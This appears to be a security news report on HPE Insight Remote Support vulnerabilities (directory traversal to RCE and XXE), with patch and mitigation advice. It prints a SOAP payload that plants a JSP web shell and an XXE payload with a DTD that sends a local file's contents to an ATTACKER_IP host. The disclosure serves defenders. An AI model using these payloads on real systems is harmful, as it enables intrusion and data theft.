Critical RCE Flaw Found in HPE Insight Remote Support Tool

Hewlett-Packard Enterprise (HPE) has released a critical security bulletin addressing multiple high-impact vulnerabilities in its Insight Remote Support (IRS) software, versions prior to 7.15.0.646.

These flaws, identified by external researchers and disclosed to HPE, could allow remote attackers to execute arbitrary code, traverse directories, and exfiltrate sensitive information from affected systems.

Technical Breakdown of Vulnerabilities

The vulnerabilities are tracked as CVE-2025-37097, CVE-2025-37098, and CVE-2025-37099, with CVSS base scores ranging from 6.5 to 9.8, indicating high to critical severity.

Here’s a technical overview of the primary attack vectors:

• Directory Traversal & Remote Code Execution (RCE):
  • The IRS service’s file upload mechanism, specifically the processAtatchmentDataStream method in DataPackageReceiverWebSvcHelperFails to properly validate the attachmentName parameter. This allows attackers to use directory traversal sequences (e.g., ../../) to write files outside the intended directory, potentially placing malicious web shells in executable paths such as Tomcat’s webapps/ROOT/.
  • Example SOAP payload for exploitation: xml<web:DataPackageSubmissionRequest> <web:attachments> <web:ArrayOfAttachment> <web:Attachment> <web:FileName>../../webapps/ROOT/shell.jsp</web:FileName> <web:FileContent>{base64-encoded-malicious-jsp}</web:FileContent> </web:Attachment> </web:ArrayOfAttachment> </web:attachments> </web:DataPackageSubmissionRequest>
  • Vulnerable code snippet: javaString attachmentFileLocation = attachmentFileDirectory + File.separatorChar + attachmentName; File file = new File(attachmentFileLocation); file.createNewFile(); // Writes attacker-controlled content to arbitrary paths
  • Successful exploitation can result in full remote code execution under the privileges of the IRS service.
• XML External Entity (XXE) Injection & Information Disclosure:
  • The validateAgainstXSD method in HPE’s ucacore library processes XML input during device registration without sufficient Document Type Definition (DTD) restrictions. Attackers can inject malicious XML entities into SOAP requests, causing the server to leak local file contents or environment variables via HTTP requests to attacker-controlled hosts.
  • Example XXE payload: xml<tns:identifiers> <![CDATA[<!DOCTYPE a SYSTEM "http://ATTACKER_IP/malicious.dtd"> <a>&callhome;</a>]]> </tns:identifiers>
  • Malicious DTD to exfiltrate file content: xml<!ENTITY % file SYSTEM "file:///C:/users/Administrator/Desktop/hello.txt"> <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://ATTACKER_IP/?content=%file;'>"> %eval; %exfiltrate;
  • This attack can be chained with the directory traversal flaw to steal authentication tokens and escalate privileges.

Mitigation and Recommendations

HPE has released IRS version 7.15.0.646, which addresses these vulnerabilities by:

• Disabling DTD processing in XML validators
• Implementing strict input sanitization for file paths
• Adding authentication checks to sensitive workflows

Immediate Steps for Administrators:

• Upgrade IRS installations to v7.15.0.646 or later via Administrator Settings > Software Updates.
• Enable automatic updates to ensure timely patching.
• Audit logs for suspicious SOAP requests to /DeviceRegistration and /DataPackageReceiver from endpoints.
• Restrict external access to IRS endpoints if the tool is used in an internal-only context.

These vulnerabilities underscore the importance of robust input validation and secure XML parsing in enterprise software.

Organizations running HPE Insight Remote Support must patch immediately to prevent potential exploitation, data breaches, and remote system compromise.

Regular monitoring and adherence to security best practices remain critical in defending against evolving threats.

For further technical details and proof-of-concept code, refer to public advisories and HPE’s official security bulletin.

To Upgrade Your Cybersecurity Skills, Take Diamond Membership With 150+ Practical Cybersecurity Courses Online – Enroll Here